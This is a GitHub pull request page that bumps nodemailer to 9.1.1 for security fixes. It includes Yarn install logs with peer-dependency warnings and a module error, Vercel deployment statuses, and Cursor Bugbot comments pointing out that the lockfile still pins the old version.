➤ YN0085: │ + nodemailer@npm:9.1.1
➤ YN0085: │ - nodemailer@npm:9.0.1
➤ YN0000: └ Completed in 0s 667ms
➤ YN0000: ┌ Post-resolution validation
➤ YN0060: │ @astrojs/markdown-remark is listed by your project with version 7.2.4 (ped3581), which doesn't satisfy what astro and other dependencies request (7.2.2).
➤ YN0060: │ @types/react is listed by your project with version 19.2.14 (p99e71d), which doesn't satisfy what react-remove-scroll (via @tldraw/tldraw) and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ eslint is listed by your project with version 9.39.4 (p88bec7), which doesn't satisfy what eslint-config-airbnb and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ eslint-plugin-react-hooks is listed by your project with version 7.0.1 (p699002), which doesn't satisfy what eslint-config-airbnb requests (^4.3.0).
➤ YN0060: │ graphology is listed by your project with version 0.26.0 (p418068), which doesn't satisfy what @react-sigma/core requests (~0.25.4).
➤ YN0060: │ react is listed by your project with version 19.2.6 (p297d1e), which doesn't satisfy what material-ui-popup-state and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ react is listed by your project with version 19.2.6 (p327a01), which doesn't satisfy what react-inspector (via @hashintel/ds-components) and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ react is listed by your project with version 19.2.6 (p53dd30), which doesn't satisfy what react-inspector (via @ladle/react) and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ react is listed by your project with version 19.2.6 (p5a9f3c), which doesn't satisfy what @apollo/client and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ react is listed by your project with version 19.2.6 (p656648), which doesn't satisfy what react-inspector (via @hashintel/ds-components) and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ react is listed by your project with version 19.2.6 (p9bfa18), which doesn't satisfy what react-inspector (via @hashintel/ds-components) and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ react is listed by your project with version 19.2.6 (pb2c0b1), which doesn't satisfy what @apollo/client and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ react-dom is listed by your project with version 19.2.6 (pbfb936), which doesn't satisfy what @apollo/client and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ react-hook-form is listed by your project with version 7.65.0 (pf60118), which doesn't satisfy what @hashintel/query-editor and other dependencies request (7.61.1).
➤ YN0060: │ storybook is listed by your project with version 9.1.19 (p14b1b3), which doesn't satisfy what eslint-plugin-storybook requests (^10.3.1).
➤ YN0060: │ storybook is listed by your project with version 9.1.19 (pa824a9), which doesn't satisfy what eslint-plugin-storybook requests (^10.3.1).
➤ YN0060: │ storybook is listed by your project with version 9.1.19 (pcf516a), which doesn't satisfy what eslint-plugin-storybook requests (^10.3.1).
➤ YN0060: │ storybook is listed by your project with version 9.1.19 (pf24719), which doesn't satisfy what eslint-plugin-storybook requests (^10.3.1).
➤ YN0060: │ type-fest is listed by your project with version 5.3.1 (pf96305), which doesn't satisfy what @pmmmwh/react-refresh-webpack-plugin requests (>=0.17.0 <5.0.0).
➤ YN0060: │ vitest is listed by your project with version 4.1.10 (p1105ba), which doesn't satisfy what @effect/vitest and other dependencies request (but they have non-overlapping ranges!).
➤ YN0060: │ zod is listed by your project with version 4.4.3 (p3cb446), which doesn't satisfy what zod-to-json-schema and other dependencies request (^3.25.0).
➤ YN0002: │ @apps/brunch-agent@workspace:apps/brunch-agent doesn't provide zod (p783fc3), requested by @anthropic-ai/sdk and other dependencies.
➤ YN0002: │ @apps/hash-ai-worker-ts@workspace:apps/hash-ai-worker-ts doesn't provide @llamaindex/core (p84f0aa), requested by @llamaindex/readers.
➤ YN0002: │ @apps/hash-ai-worker-ts@workspace:apps/hash-ai-worker-ts doesn't provide @llamaindex/env (p06d4a4), requested by @llamaindex/readers.
➤ YN0002: │ @apps/hash-ai-worker-ts@workspace:apps/hash-ai-worker-ts doesn't provide react (p686178), requested by @blockprotocol/core and other dependencies.
➤ YN0002: │ @apps/hash-api@workspace:apps/hash-api doesn't provide react (p7e58b9), requested by @blockprotocol/core and other dependencies.
➤ YN0002: │ @apps/hash-frontend@workspace:apps/hash-frontend doesn't provide @codemirror/view (pc99a9f), requested by @uiw/react-codemirror.
➤ YN0002: │ @apps/hash-frontend@workspace:apps/hash-frontend doesn't provide react-is (pe06c1b), requested by recharts.
➤ YN0002: │ @apps/hash-integration-worker@workspace:apps/hash-integration-worker doesn't provide react (p652198), requested by @blockprotocol/graph.
➤ YN0002: │ @apps/plugin-browser@workspace:apps/plugin-browser doesn't provide webpack-sources (p2d6859), requested by zip-webpack-plugin.
➤ YN0002: │ @blockprotocol/graph@workspace:libs/@blockprotocol/graph [da39f] doesn't provide @types/json-schema (p7740d4), requested by @apidevtools/json-schema-ref-parser.
➤ YN0002: │ @blockprotocol/graph@workspace:libs/@blockprotocol/graph [e419a] doesn't provide @types/json-schema (pa38d4c), requested by @apidevtools/json-schema-ref-parser.
➤ YN0002: │ @blockprotocol/graph@workspace:libs/@blockprotocol/graph doesn't provide @types/json-schema (p15605f), requested by @apidevtools/json-schema-ref-parser.
➤ YN0002: │ @blockprotocol/graph@workspace:libs/@blockprotocol/graph doesn't provide react (p975fc7), requested by @blockprotocol/core.
➤ YN0002: │ @hashintel/block-design-system@workspace:libs/@hashintel/block-design-system [482cc] doesn't provide prop-types (pdc545e), requested by react-type-animation.
➤ YN0002: │ @hashintel/block-design-system@workspace:libs/@hashintel/block-design-system [64938] doesn't provide prop-types (p520cec), requested by react-type-animation.
➤ YN0002: │ @hashintel/block-design-system@workspace:libs/@hashintel/block-design-system doesn't provide prop-types (pdf5207), requested by react-type-animation.
➤ YN0002: │ @hashintel/brunch-agent-transport-aisdk@workspace:libs/@hashintel/brunch-agent/packages/transport-aisdk doesn't provide zod (p91c509), requested by ai.
➤ YN0002: │ @hashintel/ds-components@workspace:libs/@hashintel/ds-components [482cc] doesn't provide esbuild (pdd3db9), requested by esbuild-plugin-svgr and other dependencies.
➤ YN0002: │ @hashintel/ds-components@workspace:libs/@hashintel/ds-components [482cc] doesn't provide playwright (pf22dae), requested by @vitest/browser-playwright.
➤ YN0002: │ @hashintel/ds-components@workspace:libs/@hashintel/ds-components [c2099] doesn't provide esbuild (p62400f), requested by esbuild-plugin-svgr and other dependencies.
➤ YN0002: │ @hashintel/ds-components@workspace:libs/@hashintel/ds-components [c2099] doesn't provide playwright (pe7944e), requested by @vitest/browser-playwright.
➤ YN0002: │ @hashintel/ds-components@workspace:libs/@hashintel/ds-components doesn't provide esbuild (pe4a1b8), requested by esbuild-plugin-svgr and other dependencies.
➤ YN0002: │ @hashintel/ds-components@workspace:libs/@hashintel/ds-components doesn't provide playwright (pe68d39), requested by @vitest/browser-playwright.
➤ YN0002: │ @hashintel/petrinaut@workspace:libs/@hashintel/petrinaut [482cc] doesn't provide zod (p3e879a), requested by ai.
➤ YN0002: │ @hashintel/petrinaut@workspace:libs/@hashintel/petrinaut [95a4e] doesn't provide zod (pe8cf49), requested by ai.
➤ YN0002: │ @hashintel/petrinaut@workspace:libs/@hashintel/petrinaut [c2099] doesn't provide zod (pe7c2dd), requested by ai.
➤ YN0002: │ @hashintel/petrinaut@workspace:libs/@hashintel/petrinaut doesn't provide zod (p3323f1), requested by ai.
➤ YN0002: │ @local/eslint@workspace:libs/@local/eslint doesn't provide eslint-plugin-jsx-a11y (p90ae76), requested by eslint-config-airbnb.
➤ YN0002: │ @local/eslint@workspace:libs/@local/eslint doesn't provide eslint-plugin-react (p47f64a), requested by eslint-config-airbnb.
➤ YN0002: │ @local/eslint@workspace:libs/@local/eslint doesn't provide storybook (p77c4dc), requested by eslint-plugin-storybook.
➤ YN0002: │ @local/harpc-client@workspace:libs/@local/harpc/client/typescript doesn't provide @effect/workflow (p5c866d), requested by @effect/cluster.
➤ YN0002: │ @local/hash-backend-utils@workspace:libs/@local/hash-backend-utils doesn't provide react (pe5f543), requested by @blockprotocol/core and other dependencies.
➤ YN0002: │ @local/hash-graph-sdk@workspace:libs/@local/graph/sdk/typescript doesn't provide react (p5e03d4), requested by @blockprotocol/graph.
➤ YN0002: │ @local/hash-isomorphic-utils@workspace:libs/@local/hash-isomorphic-utils doesn't provide react-dom (p3d46d6), requested by @apollo/client and other dependencies.
➤ YN0002: │ @local/repo-chores@workspace:libs/@local/repo-chores/node doesn't provide react (pe2fb17), requested by @blockprotocol/core.
➤ YN0002: │ @tests/hash-backend-integration@workspace:tests/hash-backend-integration doesn't provide graphql-request (p792347), requested by @graphql-codegen/typescript-graphql-request.
➤ YN0002: │ @tests/hash-backend-integration@workspace:tests/hash-backend-integration doesn't provide graphql-tag (pa67a63), requested by @graphql-codegen/typescript-graphql-request.
➤ YN0002: │ @tests/hash-backend-integration@workspace:tests/hash-backend-integration doesn't provide react (pec02bf), requested by @blockprotocol/graph.
➤ YN0002: │ @tests/hash-playwright@workspace:tests/hash-playwright doesn't provide react (p373b8b), requested by @blockprotocol/graph.
➤ YN0086: │ Some peer dependencies are incorrectly met by your project; run yarn explain peer-requirements <hash> for details, where <hash> is the six-letter p-prefixed code.
➤ YN0086: │ Some peer dependencies are incorrectly met by dependencies; run yarn explain peer-requirements for details.
➤ YN0000: └ Completed
➤ YN0000: ┌ Fetch step
➤ YN0013: │ A package was added to the project (+ 614.09 KiB).
➤ YN0000: └ Completed
➤ YN0000: ┌ Link step
➤ YN0073: │ Skipped due to mode=update-lockfile
➤ YN0000: └ Completed
➤ YN0000: ┌ Post-install validation
➤ YN0001: │ Error: Cannot find module '@yarnpkg/types'
Require stack:
- /tmp/renovate/repos/github/hashintel/hash/yarn.config.cjs
- /home/runner/.cache/node/corepack/v1/yarn/4.16.0/yarn.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1564:15)
    at wrapResolveFilename (node:internal/modules/cjs/loader:1118:27)
    at defaultResolveImplForCJSLoading (node:internal/modules/cjs/loader:1142:10)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1169:12)
    at Module._load (node:internal/modules/cjs/loader:1341:5)
    at wrapModuleLoad (node:internal/modules/cjs/loader:261:19)
    at Module.require (node:internal/modules/cjs/loader:1674:12)
    at require (node:internal/modules/helpers:157:16)
    at Object.<anonymous> (/tmp/renovate/repos/github/hashintel/hash/yarn.config.cjs:7:26)
    at Module._compile (node:internal/modules/cjs/loader:1929:14)
➤ YN0000: └ Completed
➤ YN0000: · Failed with errors in 1s 235ms

[vercel]

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Actions	Updated
hash	Error		Sep 9, 2026 7:29am UTC

3 Skipped Deployments

Project	Deployment	Actions	Updated
hashdotdesign-tokens	Ignored	Preview	Sep 9, 2026 7:29am UTC
petrinaut	Skipped		Sep 9, 2026 7:29am UTC
petrinaut-docs	Skipped		Sep 9, 2026 7:29am UTC

[cursor]

PR Summary

Low Risk
Single dependency version bump with no logic changes; lowers known email-library CVE exposure in hash-api’s transporters.

Overview
Bumps nodemailer in apps/hash-api from 9.0.1 to 9.1.1 to pick up upstream security fixes. There are no application code changes—only the dependency version in package.json.

The upgraded release addresses several advisories on Nodemailer’s mail path (address parsing DoS, IDN/comment-based recipient misrouting, and resolveContent sandbox bypass). HASH uses Nodemailer via the SMTP and AWS SES transporters for normal sendMail flows, so this is a straight dependency refresh to reduce exposure on those code paths.

^{Reviewed by Cursor Bugbot for commit 2506d75. Bugbot is set up for automated code reviews on this repo. Configure here.}

[cursor]

Cursor Bugbot has reviewed your changes and found 1 potential issue.

^{❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.}

^{Reviewed by Cursor Bugbot for commit 2506d75. Configure here.}

[cursor]

Lockfile still pins vulnerable nodemailer

High Severity

package.json now declares nodemailer 9.1.1, but yarn.lock still resolves 9.0.1. CI and Docker both run yarn install --immutable, so the install fails, and the security patches this PR is meant to apply are never installed.

 

^{Reviewed by Cursor Bugbot for commit 2506d75. Configure here.}